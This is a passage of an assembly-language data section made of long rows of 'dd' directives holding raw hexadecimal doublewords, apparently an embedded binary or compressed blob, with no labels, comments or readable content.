0C27288Ah dd 0B1383EFFh, 96BD7800h, 50101560h, 5CBF5300h, 0FD702FC9h dd 1A0B00A0h, 0AB4C0503h, 1500CA8Ah, 121F71D1h, 2B50296h dd 89F4F287h, 0CAC00D14h, 680084E9h, 0A177EA90h, 490894h dd 143EA259h, 0A30C6674h, 314F300Eh, 1F35CFBDh, 50222C00h dd 166856h, 510EF57Ah, 0A0ED7E44h, 0B5022AB0h, 50093195h dd 32836068h, 0DB5D0303h, 0A559974h, 2EB20400h, 684C2B7Ah dd 13D7614h, 66400885h, 0CCA8D753h, 5C6761EDh, 0ACC01C20h dd 6F05065h, 62E1B857h, 1E00A03Ah, 6A04C80Eh, 3C8B421Ch dd 1B808980h, 472052D4h, 123B9028h, 9734CFAh, 0A94CFh dd 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h, 0A33C201Dh dd 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h, 5B382C00h dd 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh, 72D652A8h dd 789CF800h, 0C1E5278Dh, 4CAAA012h, 0F613B888h, 0EC3700BEh dd 9075DBD5h, 741DCBF0h, 40036244h, 0D77C8B52h, 0AB782AB0h dd 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h, 82FB37D6h dd 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h, 0D7BC5Bh dd 0A1AAC9Fh, 4410044Fh, 0B34C8F00h, 0FE91C690h, 0EADCE9ADh dd 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h, 25FF3BABh dd 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h, 0C028BB75h dd 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h, 0A72E092Ah dd 3E833807h, 0B91570Dh, 0FB77001h, 80041D3Bh, 0DDCA0A89h dd 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h, 0EBCE5798h dd 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h, 885444A6h dd 2901164h, 2135E6Ch, 894193ADh, 0CF9BF0FDh, 0CB281D04h dd 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h, 28AFEA00h dd 0B73B677Ch, 2D0E74C5h, 3AF03659h, 7720C00h, 0A8C37581h dd 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h, 0EF92A2h dd 0F23A2C29h, 0F8109C65h, 51541700h, 8A87C545h, 0D37BB4h dd 52FB25D2h, 9264F2C3h, 4B4AFC13h, 694CA600h, 841C10h dd 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah, 18B91C53h dd 35B8315h, 0A3D8FED3h, 0F598E011h, 51A4042Ch, 89ABD00h dd 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h, 0A78D69BAh dd 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h, 0AD427BD8h dd 3EB84323h, 508E845Ch, 124080D6h, 0F33B558Dh, 0FFA48326h dd 0C8DFC900h, 680A11h, 0AC3EBDF0h, 0D6991401h, 1749FA00h dd 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h, 0E1F7F8C6h dd 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch, 0DC20006Eh dd 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h, 0C909DB31h dd 78803974h, 3C00AC37h, 817A15E8h, 98427D63h, 0E9D000FEh dd 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh, 553A16h dd 0FAED75F5h, 615097E0h, 0C30045Ch, 5A0689D8h, 2890005Fh dd 0B56D7E9h, 42B85BC5h, 0DE1C5525h, 0BD340310h, 0B4EAB309h dd 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h, 69F70059h dd 1680827h, 2F000BD4h, 41EDCE80h, 152420h, 74664C94h dd 1FFD389h, 840F3A00h, 113FA9F4h, 0BFDE0096h, 0CA02A0CCh dd 30005308h, 0A30D1C64h, 9105CA5h, 0F34E8218h, 7DBA5080h dd 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h, 0E0835AEDh dd 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h, 0F2C403AEh dd 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch, 91A92C9h dd 366E194Fh, 16C0D08Fh dd 0A3CDF841h, 2134F600h, 0F4107D2Ah, 0C94E00D4h, 0E1665EE3h dd 0F900E2B4h, 0F3BE9045h, 5D592F0h, 0ED8B9CB8h, 0AFF7819Bh dd 0CB4FF98Fh, 759733A8h, 4FAA5F2h, 0B73A2274h, 84341F1Ch dd 0BB38D840h, 3E7C92AEh, 5C00F2FEh, 82EFD7B1h, 0F7031B31h dd 24A0E742h, 150A0E8h, 0A798009Dh, 3EBF7DD8h, 0F53F97B4h dd 0FC53801Eh, 75A85BAFh, 0A4E300D7h, 886EA79Ch, 0DF7C514Ch dd 0B0465A07h, 0ED08087h, 0FAE33C13h, 3D8B002Eh, 833F6052h dd 0B80011EFh, 0A608577Ah, 3E210429h, 0A0003A45h, 5FFC07B2h dd 0EA096A55h, 87067174h, 85600A53h, 1D33C25Eh, 81F2DD18h dd 281536C4h, 0F82CD589h, 0AC907784h, 0D30022FAh, 0A51DE87Eh dd 5539D9h, 0A4CFAAACh, 0B6AB362Ah, 4ED25005h, 7BC04B56h dd 888CBh, 0C80DF415h, 0C2F0110Ch, 28588D07h, 4540D8D6h dd 4495ECh, 6DDB35F6h, 0CF4130D2h, 9D71EB1Fh, 0EAB82280h dd 3EAEE3h, 44B4228h, 0AFAF9DFh, 8F6A3F00h, 8A587B9Fh dd 54150027h, 0C7642994h, 5B0033A7h, 1E759546h, 15A9Bh dd 24871785h, 36FF1491h, 0C306F400h, 8F75D6EAh, 0FA5E004Ah dd 85F310D2h, 2400CF3Ch, 93DBE848h, 0C65F49h, 0A73079D7h dd 1FB9BF0h, 2B887700h, 317B53BBh, 7557D6Eh, 0F96AB121h dd 0D0F84768h, 82F50928h, 29891600h, 9ECF0D45h, 0C001FEC8h dd 0B94CB70h, 0CD0099F4h, 517FEF62h, 0A15803h, 0E474B118h dd 846C1614h, 4F268BF0h, 0D2001180h, 0AD44C4DDh, 276F3CB7h dd 0FC773E00h, 10428EB2h, 0E9894A00h, 931675F2h, 157A25h dd 6950C7B1h, 23ABC28Fh, 5D400200h, 53992444h, 0DF785C41h dd 0D2F63200h, 0D49B0309h, 864630Fh, 69FF000Bh, 44CFCCh dd 0B94B851Ah, 1452965Bh, 0E6BA5600h, 13505358h, 9C780089h dd 4AA574F1h, 310229BEh, 8D2A0746h, 45244054h, 37120143h dd 3570A985h, 7378F456h, 74160800h, 9CAE0D24h, 9A5E0EE4h dd 834023A0h, 0BF42AAA9h, 21D62D00h, 0C5521ACAh, 6A290007h dd 0C6644367h, 0CF0034AAh, 5076A3B3h, 3C20614h, 0A6F0997h dd 0CAA11A9Ch, 983DF005h, 165C6B7Bh, 15C500E7h, 6EC81D33h dd 45ED3D3Bh, 59348200h, 5B782406h, 744A6000h, 63C27A12h dd 10771Fh, 64B82D15h, 0E719BB77h, 0B40A7200h, 9427F8FCh dd 807100E0h, 3C6C37D2h, 0E20085F5h, 0FB876B8Dh, 0FC097Dh dd 0CEFAC922h, 0B39AC574h, 9CD55A00h, 0EF4903E8h, 2B120F5Dh dd 0D0944BC7h, 80D7B31Fh, 6D20D429h, 7807431Fh, 94FBA538h dd 56E2B800h, 0D25A000Eh, 0E4471019h, 66037488h, 0A1E614C5h dd 0F26F935h, 0A8AEB40h, 2851001Ch, 90135D1Dh, 0E200143Ch dd 72A0DC24h, 0BF8215B0h, 1EEAAF8h, 28037575h, 835C3C2Ah dd 0C076FA2Dh, 50C065h, 2143BE8h, 0D344E7B1h, 0DC199C00h dd 921C298Dh, 0A94909D4h, 0EC83A116h, 4EE05DAFh, 3E7EB089h dd 33705700h, 3593D588h, 97B50369h, 2C5F256Fh, 2B29C7A8h dd 34A1A400h, 525BDB8Ah, 0E391006Eh, 882FB580h, 4200D621h dd 0D0396147h, 675B0Ah, 689FC274h, 282D35D2h, 88595D16h dd 389E991Ch, 601CA18Fh, 10FAE72Ch, 1E3700F1h, 96303611h dd 6800C020h, 80284D53h, 979EA5h, 184FEA8Fh, 0E555012Bh dd 0C7521400h, 8BEC04F4h, 947A35h, 0D025608Ah, 9B2341BEh dd 9864B600h, 8B16116Ch, 53040748h, 62F5AB7Dh, 9E02368h dd 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh, 89AA00A3h, 40191802h dd 58001A10h, 32C78E66h, 0B92B16h, 68444260h, 73CA11ACh dd 3326040Fh, 5AF9E00Ah, 8E3210h, 89D02B09h, 0E299868Ah dd 688BD100h, 98FF85F6h, 0C4C500F7h, 54913CA3h, 41003BEBh dd 0A5C70334h, 1DEE6151h, 40AD5708h, 8045A268h, 6C243B33h dd 0C0F7B24h, 855E20F8h, 1E12DB9Ch, 0CEB28B61h, 378040A3h dd 3DAB0813h, 6F07100h, 0C65C035Dh, 51EB002Fh, 0D9981B7Fh dd 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h, 5E7600B5h, 6240FF38h dd 0E800C1C2h, 8474DB42h, 72011Fh, 0A048F723h, 11EB03E9h dd 99FCBD07h, 0A1C0C266h, 0FE38019Dh, 90680015h, 0D3BF976Bh dd 4B07C837h, 0A91EB06Eh, 142559C0h, 0FCBC015Dh, 0F1D03449h dd 0C38D033h, 22E4E21Dh, 6E7DDBC0h, 7E1960Bh, 2F571327h dd 51B8E010h, 9E3E18C0h, 21C026Dh, 0E06FE80Bh, 4E1660h dd 0BA673021h, 0E52E70A4h, 8CBBE000h, 85340F0Ah, 0E3C001EEh dd 22A05CA1h, 18C4D428h, 2052E51Eh, 2B27C880h, 0EFD00Ah dd 0BE848D4Fh, 0C7751D83h, 0A5F2D700h, 0FEF40E48h, 67397BE9h dd 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh, 4B04E600h, 0B057A384h dd 972D00E1h, 70895130h, 94900853h, 5C81B800h, 0EA18212Bh dd 4352008Eh, 9747DE1Dh, 95009436h, 0A1F146A9h, 9685502h dd 927C86DDh, 0BC210B80h, 563C75FDh, 0C289F3Dh, 0E91EF8C0h dd 79ECA419h, 30C700F5h, 0AFAA50BCh, 4C00C641h, 0B82386D6h dd 3ACF28h, 6760C5F0h, 169A310Dh, 0FA4FFF26h, 50808303h dd 99E8C83Bh, 0CEA0078h, 0FF892EE4h, 88A0877Bh, 0B77DAFF4h dd 0B6902501h, 0DADF4CD4h, 0E479B70h, 0D36948B9h, 0B8181B00h dd 410578A4h, 0BA1C09A0h, 359ACE80h, 5B30007Dh, 80B81E20h dd 85E2E576h, 22B0D00h, 0FFFEC63Dh, 0FD250016h, 0AEB617B4h dd 580078C0h, 5E306840h, 1500E87h, 21B3EDEBh, 0F1B28C91h dd 0CCD721CBh, 2B005A75h, 6A151F5Ch, 90D4B957h, 3B9607AEh dd 677AFACDh, 6D33A0E7h, 8A006AEBh, 1C781532h, 328890Ah dd 18452059h, 1DE8F0FBh, 4A7AC7EAh, 80006BF6h, 1CC20978h dd 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh, 103D2583h, 0A3750F44h dd 6467D462h, 0C71103Ch, 1700EAB9h, 0CBD53E13h, 0BA3B009h dd 6167DD1h, 404B5A07h, 0C9250C15h, 3910171Eh, 0B56CE140h dd 51B7C4h, 6348921Eh, 82A5083Dh, 8014773Ch, 0E5EB4A17h dd 2CE3124Eh, 0E1C399h, 2FE81504h, 3B72DFEEh, 1B29DB1Ch dd 0E0A6058Fh, 79B5767Dh, 0FC4400A4h, 7068D9FEh, 0A200854Ch dd 2F20D20Bh, 3A8A1Fh, 42C74555h, 0E932BB3Ch, 150C181Dh dd 4FCB7A40h, 0ED3AC71h, 0C2C38449h, 37568D80h, 0A1003805h dd 0C926486Ch, 2D60E4h, 68301E40h, 8528A0FFh, 0A8B20100h dd 0B4D7504Ch, 6BC00ABh, 0CAC13994h, 14003589h, 54886D45h dd 2AA450h, 48992FB0h, 0EB89E02Dh, 39E6B00h, 0CB612CCAh dd 0FA3D003Bh, 99407422h, 4F1E086Dh, 2B001B93h, 0E78253E3h dd 9550247Ah, 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh, 0ACB3C7CBh dd 40CC4830h, 29A300A2h, 1D880201h, 17003A8Ch, 28262CB8h dd 0A0BD98h, 0BC07C341h, 84CC501Ah, 9CDB4E00h, 635EAFE9h dd 2E47AE3h, 0C95A8A26h, 70C3ED7Fh, 5EC0CB98h, 0AC9E2C3Dh dd 900480B6h, 5AC02D89h, 98ECCEF6h, 586179F5h, 2008DBDh dd 898F0C6Dh, 0FC002938h, 4F63CE5Eh, 0A32630h, 0C273A517h dd 25228A6Bh, 0F90068EAh, 0CCEAD723h, 6AFDE6h, 8AE7C928h dd 0A581CE09h, 2CE6DA79h, 87170501h, 350304CCh, 0C037C03Bh dd 3800E87Fh, 0C7014EBDh, 3F7794h, 0AC9E6C7Bh, 97E548AEh dd 68335500h, 720AF2C1h, 0D4C40BC8h, 80D753E7h, 711F1C24h dd 766C0012h, 4BBC324Fh, 0A50014D1h, 0C8D8D707h, 6457EAh dd 1328F7E4h, 8FCA2443h, 763D2673h, 62960090h, 0AFD394FDh dd 0F3010069h, 672710B8h, 0DEFC5B9Ah, 250066F0h, 1904532Dh dd 451586h, 96BAB30Eh dd 4F52A985h, 1DC2F94Ch, 0B05F07EBh, 7800CA2Ch, 17883CE5h dd 5B2F0769h, 203064C0h, 0ADA454A8h, 0B9E5A207h, 8DC71087h dd 6E2F8190h, 2D2B00BEh, 0CD3788B0h, 4C025A8Ch, 0CF584A1Ah dd 52F080A7h, 0C6F87Bh, 0D1940584h, 4A0F7D44h, 0A30FDBB8h dd 0A0A15111h, 0B25D64AFh, 6BDF00A6h, 6A5FD289h, 0D1CE3C5h dd 75809B7Eh, 0ECFFF4A2h, 32A7E16h, 64971310h, 12E0ABBDh dd 930C74Ch, 0B1C8CC8Dh, 7645002Ch, 8697E23Fh, 2A0013EBh dd 52ACF19Fh, 50F9D4h, 0A9837D55h, 0A87A1F6Bh, 0B24248h dd 0A7C3DE2Ah, 3C11297h, 0F0072809h, 0C50AEEh, 521502E1h dd 0A012DA55h, 8301A6A5h, 9CFF305Ch, 3C1B7BCCh, 7FC1486h dd 1CF83101h, 0C21AF052h, 0EA01C1D0h, 0B52C0318h, 0EBE99473h dd 0AD5CE0h, 0A549774Bh, 0AE752E08h, 0D65BE900h, 2DAB5612h dd 1657824h, 0F85AD836h, 0E43C5EC7h, 0E00B414h, 95FFE843h dd 20A889h, 8D5CEA9Bh, 0C8B3A7F6h, 7275C312h, 0C0331FEFh dd 11801CA3h, 8474100Bh, 9E7E8C3Bh, 30007958h, 86C3298Ah dd 34220064h, 6C2BC187h, 1C00237Fh, 0B393BA8Eh, 3CF5F84Ah dd 0F513E5h, 1930F2E8h, 488A3C53h, 6A0012FAh, 0AE16D41Ch dd 0D641F8h, 172DF2BCh, 0F7143A03h, 6F88C401h, 10086977h dd 7E297Ch, 20C58319h, 0DC7E1C5Ah, 0AAB8C407h, 0A0B0F5D3h dd 1F928E08h, 408B7552h, 0D74D2C14h, 0F81FE297h, 87814E10h dd 64C10508h, 7256E4h, 0BE13D44Fh, 331C9D54h, 6B007F71h dd 0F7E623D3h, 92EB8F0h, 52843CBAh, 10213C87h, 958F90B9h dd 91921D0Bh, 80B68B09h, 98048BEFh, 396D39D3h, 0F3D55580h dd 523C76B9h, 0DBC0E00h, 510203C4h, 0C23B3E0Ah, 7BD31080h dd 40143B0h, 0EB349A1Eh, 0F8E76783h, 14B3CF60h, 8305F898h dd 750F00FBh, 0ECCC72B7h, 1982BCEh, 829F3Eh, 1B4A6C84h dd 13A2A39Eh, 0B1DC96h, 98957FD2h, 0C80238D4h, 30B4D26Ch dd 4201E022h, 34990004h, 8C5F3FB8h, 7E001F0Ch, 9AA2FF24h dd 1F49D85h, 0EB0BE4EAh, 0D0A1154Eh, 0F600DA3Bh, 8273E90Dh dd 3D6F44h, 0A0B33F4Ah, 6540CE5Bh, 80B9101h, 0E5ADF0D2h dd 0F034B7FCh, 0C59C01AEh, 891245D8h, 28CD4098h, 92009A9Dh dd 0F529B23Ch, 39CD042h, 0CA6846BFh, 89F8210Dh, 0F1039659h dd 0B1C2B0D4h, 6D6FE0EBh, 412607B4h, 0D017D93Ch, 0F4373266h dd 0EC99DD00h, 4D7249C8h, 197002FEh, 20A1824Ch, 7E023AE0h dd 0B583C700h, 8C2A8D58h, 27230054h, 0F2A5299Fh, 800BAC2h dd 0B4A93ADFh, 6BA41Ch, 802DEB43h, 5134C3A6h, 5F60FF01h dd 70E0609h, 3E4287D8h, 25010215h, 911F6850h, 0DB83E055h dd 2FB97B00h, 567E7ADAh, 0C89C074Dh, 1F5D5CE0h, 38C75060h dd 0EFE8588Ah, 5A260D01h, 32205F74h, 15A5B340h, 10240009h dd 438D55C1h, 3600352Ah, 19AAA034h, 900D9EFAh, 2C493926h dd 44A94603h, 9A984B81h, 0EC0F7D38h, 0E5197515h, 0F38009D4h dd 170880h, 2EAF2695h, 4CA7101Ch, 0EC3C2207h, 9F0402Ah dd 0C777E8h, 99A152BDh, 0C612B39h, 30500600h, 6BE6AEBCh dd 29E00DBh, 0A02174C7h, 0B70B0F1Ah, 80A41840h, 177C610Fh dd 160A005Ch, 7EC05FC9h, 0EB0097F4h, 34502CBEh, 5864BBh dd 698592A8h, 94A791DBh, 9522721Eh, 8EF6BD80h, 3DD1DDDAh dd 8C004BD7h, 2C0806A4h, 89030984h, 55437850h, 0E06AB830h dd 2F1D00EEh, 0FCDEC301h, 4000DFCBh, 0B7C766EBh, 0FC0A9E0Ch dd 7F484h, 144604DDh, 0A1081DD8h, 0F46F2439h, 0FF00FBFCh dd 6DA1876h, 1D8E7F78h, 40CF8B7Bh, 0D04AA613h, 0B300DDFAh dd 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h, 4C358B80h, 214A7E64h dd 9A07787Ch, 0E8BC5C0Ah, 0F0F87CE0h, 0C54F07B2h, 80477349h dd 0ED84B90Dh, 8C7A8616h, 0A1F03400h, 167F425h, 2F2DC55Fh dd 0F59E8351h, 6688F405h, 53153707h, 24E57593h, 8B3BB0C0h dd 5AF10728h, 0E0609749h, 365D3857h, 3F529B00h, 0CF4404B4h dd 0A3EA5Ch, 0B24E944Ah, 21565762h, 0EA73AE00h, 381625C4h dd 8F1800D2h, 4267E37h, 920E459Eh, 0C0318E2Fh, 4A0146E1h dd 0F2EB004Fh, 511DDA73h, 0C400132Ah, 79642FECh, 81D817h dd 0B6B2ACF4h, 2B334DCCh, 54B31D06h, 3BC51E0Ch, 119D211Ah dd 89190034h, 0D1AD0868h, 2CA92300h, 4930900Ah, 0D8C10F96h dd 7F407E83h, 70687705h, 0E0185E00h, 453020C8h, 28663B40h dd 2B344207h, 1525400Ch, 570F12BEh, 0FD23BB8Eh, 0BA9FC783h dd 0B745D0C9h, 8FF092h, 0BF06CAB6h, 0C0DE2090h, 0D3FF1E00h dd 0BDC8558Dh, 6FC1007Eh, 29CC1317h, 561F6119h, 88000C49h dd 35941D55h, 89B0047h, 66929EA4h, 2116739Dh, 3D0029E2h dd 97A38289h, 68A200B4h, 579B6C4Ah, 553B9894h, 0B12400CAh dd 589C5172h, 3C0F7DEBh, 6A00F277h, 0CE70DD5Ah, 0E23D45AAh dd 0D15C00A0h, 0FCF57226h, 3446007Eh, 0DA4714F2h, 0F7F8F424h dd 77AA1960h, 2B9AF9h, 0DB99FE45h, 0B86F28AAh, 461B6000h dd 0C8D42F20h, 81080025h, 0ED0A2923h, 8CF05290h, 6A71140Bh dd 1E43006Dh, 0F1811EAh, 0FCA2E953h, 0A09F13C3h, 88F680A7h dd 0E800B0ECh, 66A05F1h, 2413CE5Eh, 0AD6C7Ch, 59A94E82h dd 0A20E9048h, 40A14434h, 2058B9A4h, 5EA5008Ah, 0CBAB920Fh dd 0DD0124C8h, 52501121h, 25611C18h, 2E745E0h, 0F5289833h dd 0DD601D02h, 0F978DD31h, 0F048998h, 820CD054h, 8AD5B080h dd 24B70037h, 49E65906h, 630061BFh, 0AE121D58h, 980E4427h dd 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh, 0C18500CFh, 151F57FEh dd 67008F17h, 0B9EF4548h, 8FC0Bh, 1C5DCAFAh, 3E9E055h dd 0A468D900h, 81D4B785h, 0C4900029h, 21718A23h, 38054424h dd 5EEE1D0Fh, 0AA1ACBC0h, 0C4AD0064h, 0A5949E51h, 7B1E09FFh dd 0F5DE421Ch, 6843AEC0h, 0E1F532Ch, 0A8DBC816h, 0BAD61C61h dd 0F12AF024h, 810726FEh, 31400689h, 0DA534540h, 3421001Bh dd 381CDE71h, 0F200C485h, 11173C72h, 744C8EEh, 23E2475Ch dd 9D13604Ch, 0E54C49E4h, 0B2F1E4Eh, 0BE644AC2h, 84F5403Eh dd 4B345C56h, 50B8BB00h, 60318925h, 7327EB00h, 3D80DE04h dd 20BA008Ch, 37E805CCh, 8D0093F1h, 10739BC7h, 8B9A0Dh dd 5CCDD5C8h, 2E4104E4h, 79656B00h, 0C4D9F5C2h, 0F0723967h dd 6C696687h, 5C30F0EBh, 0D0094C0h, 0E0221E75h, 7542320h dd 8A53C379h, 70818027h, 9300B57Ah, 9A61F265h, 6ED60Eh dd 196D323Eh, 77592B68h, 7DB7BF00h, 0DC25E1Fh, 0D60401C6h dd 0C08B4281h, 109560F8h, 5407ECF0h, 49EAAF97h, 8E41D0C0h dd 8C8B0380h, 23DD5CF4h, 58D89490h, 52510F00h, 9FB35D2h dd 0E68E009Ah, 0A6E9661h, 3000C481h, 604FC319h, 158D13h dd 23515092h, 0AD90BC10h, 0A38A900h, 21DFDAEh, 89D838FEh dd 0C108071Eh, 14100E0Ch, 207D2016h, 0E09FBE70h, 7A706014h dd 0C0A00380h, 910129E0h, 44022290h, 89040300h, 18251505h dd 310E214h, 84820636h, 0A9309E2h, 0CB30BA3h, 0ED30DC3h dd 10F30FE3h, 80A711F1h, 51C1124Eh, 0E56D18Bh, 5780882Eh dd 44A3900h, 53063572h, 0A09DF8BEh, 188A00B8h, 5C882840h dd 0AA009CADh, 5808420Bh, 0E6D8B7CBh, 318107EEh, 0E04FFFE7h dd 47AFCC7h, 0FE031B00h, 5CD72F89h, 783B6014h, 9A0FD273h dd 27017279h, 0CE2B1080h, 70D4E8D3h, 790101A4h, 9125CF37h dd 0B9803E0Ch, 896182h dd 0B5595E3Eh, 32DC1F6Ah, 7FC0AD1Fh, 0EBBC8100h, 7911ABBh dd 17410D88h, 8C1E6082h, 29000525h, 2402D6F8h, 0C82D66h dd 505553B4h, 22579856h, 0F00FB901h, 612EA2AAh, 0B89D8DE0h dd 0F6810054h, 0BC8BABF3h, 3E00E92Fh, 0F4EE3B13h, 5E76F0h dd 5A8FD15h, 8C5C8B38h, 4CFC831Ch, 40430800h, 6089C53Bh dd 0B9EBE819h, 0D006117h, 0F7282474h, 7440698h, 62336815h dd 0C71CD0FFh, 17CC849h, 890080ECh, 656A8D18h, 0E0142708h dd 2C340696h, 0D403E0D3h, 13DE8100h, 0C43EF101h, 5187000Fh dd 30B5788Eh, 0A870EC7Eh, 33C5D00h, 10F983C3h, 27DB0h dd 6C24C040h, 758B4D7Ch, 6DC9A41Fh, 0ED9CE6C1h, 0C1C848BAh dd 1AEE0062h, 3E8025CEh, 300CB2Bh, 0D88A28FBh, 0DAE9B9h dd 0BD766C89h, 3981BF34h, 0BB661007h, 89FB0714h, 0CA70809Bh dd 320FE49h, 7B4ED87Dh, 0EAF0DFAAh, 4A00A284h, 401A025Dh dd 5FC49h, 7E09CA32h, 299BA9B5h, 0F049800h, 4295628Dh dd 0FF960367h, 320DC0B6h, 26985B98h, 1F046973h, 23824B11h dd 61C98B80h, 0F13B1EEDh, 26807EB4h, 0C12FC88Ah, 4200229Fh dd 8F2A8894h, 84BA6Ch, 0C896809h, 373B0D87h, 0BCE2B328h dd 47210A1Fh, 1F4C5E67h, 0FAC89741h, 0B0AD3800h, 0BD1C01h dd 579CFFD4h, 788306C7h, 7208C100h, 8AA0EF30h, 26410111h dd 0BE055488h, 0E648DCFBh, 8E12400h, 14CA6AE2h, 0DB00950h dd 0B680F8C2h, 7817AEEFh, 7334F900h, 2EFC27D0h, 1FC4E24Ch dd 4280CA2Bh, 0E325DC49h, 5CA65AC0h, 64A42201h, 29279612h dd 80C8D4h, 0DCC0E407h, 111C8A1Eh, 0EBD38700h, 2C46103Bh dd 0C30A3973h, 0D21B2800h, 0F3FF9278h, 30143F00h, 2FD707AFh dd 208C0ABDh, 1F8E3418h, 38818108h, 0DC110D12h, 2EF03C02h dd 0E8B0F00h, 843079C9h, 896F00FAh, 961C410Ah, 431F18B9h dd 0E680C371h, 0DABDE85Fh, 62044C97h, 8E8BC107h, 31745389h dd 598125D0h, 6212F400h, 4068D233h, 70BCE6B7h, 1689007Eh dd 9B2C888Ah, 957B65B8h, 7AA41C18h, 3E3DAh, 0F8804037h dd 91E6723Ah, 4F8D98C0h, 3B685063h, 0E8001FD1h, 0B942F7CCh dd 38015878h, 0E57A08Fh, 30E40820h, 13900085h, 8941C021h dd 0A4006087h, 50C4E6Bh, 5B0FF5h, 81DEB9Bh, 0E25ED112h dd 757D605h, 0C0BE8D43h, 9CD7F219h, 0E3AD2C03h, 0E882E266h dd 90A80C54h, 44A23CF7h, 0BDB99D8Eh, 25013C0h, 527E5411h dd 5295800h, 0C4860CDh, 0FAA6005Ch, 0E8AACA81h, 967D8F18h dd 27315F1Fh, 8B1103C3h, 8D29C8D9h, 0CA6B0069h, 71CDD1C1h dd 8A0055D0h, 1D4899BCh, 136BB28h, 6A2C53ABh, 0D10A34AAh dd 8864F404h, 9C1C024h, 4D008316h, 8DED7213h, 2198BBh dd 502FF3D5h, 4BF16E87h, 0B929907h, 0D200F35h, 2C35943h dd 6D316C62h, 8840098Dh, 15017310h, 5203EDF3h, 0B0FC148Ah dd 0E2800FD0h, 1C0F4Ch, 0EB462434h, 28007560h, 59A66A7Fh dd 0C08318h, 4E7EF203h, 0F5FE8111h, 48C07DE0h, 4823344Ch dd 0D8880075h, 0EA7F2C4Dh, 3679EB32h, 96821100h, 2D94036Ah dd 0CF63Fh, 990E072Bh, 1C13770Bh, 0C6501700h, 46E024A3h dd 71480F65h, 0FC020EDh, 7B2738Ch, 920EB700h, 104B053Dh dd 0AB3A0052h, 24848D0Ah, 0A4003B29h, 5045578Bh, 7C0C222Fh dd 311718Ch, 3546D251h, 0BE02BC0h, 640083C6h, 80DD98DFh dd 0FA0451BCh, 2E7505CDh, 0C005DAFDh, 2407EB80h, 39331B48h dd 651200F5h, 0BE54D21Ch, 0E0587D6Eh, 3D104C88h, 0F7754E01h dd 304A43B1h, 0B476E849h, 5E9BDC00h, 0A0B8EEF0h, 0E182009Dh dd 5DEAEC83h, 0E90008E2h, 85C3C7CCh, 97908Dh, 8814577Ah dd 5D6558DCh, 10056703h, 9843860Fh, 0E2324E52h, 0E03D7668h dd 13730026h, 0D6881BDBh, 0C30041A2h, 2303C5A7h, 9314E9h dd 4FD03530h, 0C9FB830Fh, 68054100h, 1E88BF1h, 971129Ch dd 8D0600C1h, 0A3422E31h, 6500700h, 21BF145Eh, 3D8EFADAh dd 44D8AC33h, 84E2F00h, 980990F4h, 0E9AB1000h, 32729B23h dd 3C70BD2Ch, 5A8DCB00h, 0C1A9C14h, 9A1501F5h, 0C2563DCDh dd 7BD62011h, 0CE08F701h, 2CBFC39Dh, 0C5CDD0C7h, 0D6C100CFh dd 6763EAD3h, 0C6FC8935h, 946DE407h, 80C092DAh, 0F4887Ah dd 0D741529Ah, 0CA03140Bh, 89770600h, 868A2411h, 8B40072Dh dd 8068AE9Ch, 95FA76C3h, 906CC41Ch, 74F07EB8h, 0FF0083F6h dd 715A7203h, 1E8D0502h, 44FD6Fh, 4163166h, 0C13C2EC5h dd 6B2400E2h, 0A252C26h, 1AB4002Fh, 314A2789h, 0B0EBDE6h dd 80F8C183h, 57BA538Eh, 8C93008Bh, 6A733882h, 963D79CFh dd 0C881002Bh, 0EFD3C503h, 80461E18h, 0E74387CDh, 8A19F24h dd 0D7E40130h, 0F81CF6E8h, 5B5AEB00h, 0A86C9A14h, 0BD850920h dd 0AC0EA746h, 2EDBD480h, 0D005AD7h, 25B3AB45h, 71D82C1Dh dd 856A00A0h, 7303FB01h, 8C008B1Ah, 5AB5629Eh, 0F2300C0Bh dd 0BF1900E5h, 0EB115194h, 8600FD1Bh, 1552C862h, 0F21FBB4Ch dd 58D40089h, 0DDB17F1Eh, 500E8E88h, 40B00644h, 8D413914h dd 3B381D8Bh, 0DE9707C2h, 2BD00024h, 8A3C40D1h, 50880312h dd 0F0693FE2h, 3907B8Bh, 96C70391h, 0C9F0BD13h, 0CE39FC0Bh dd 80A5BEB1h, 43B1CE3h, 0F286Eh, 0C6AFC382h, 2C1347D2h dd 6400FAB0h, 0C217AA83h, 4CCD1852h, 0AB00E428h, 69B03CE8h dd 850341A3h, 78843888h, 0CB47C370h, 441007C4h, 0F0BB1173h dd 1D4BDD82h, 9B00D271h, 27E75AFDh, 0D190C3h, 406A8726h dd 1E100668h, 84E3F900h, 2C1F62BAh, 758EB002h, 307400F7h dd 2E258380h, 0B53CF18Bh, 0A8178044h, 15E1A7FCh, 3E860EE6h dd 12C04BAFh, 37208A5Ah, 0A11C51E8h, 5FD73B11h, 7C543700h dd 767E532Fh, 0B097FCEh, 57428758h, 30ABA580h, 35E8142Bh dd 102CA907h, 8520BC5Ch, 5155E9h, 0C8807F8h, 743D6224h dd 4053FE00h, 70358B77h, 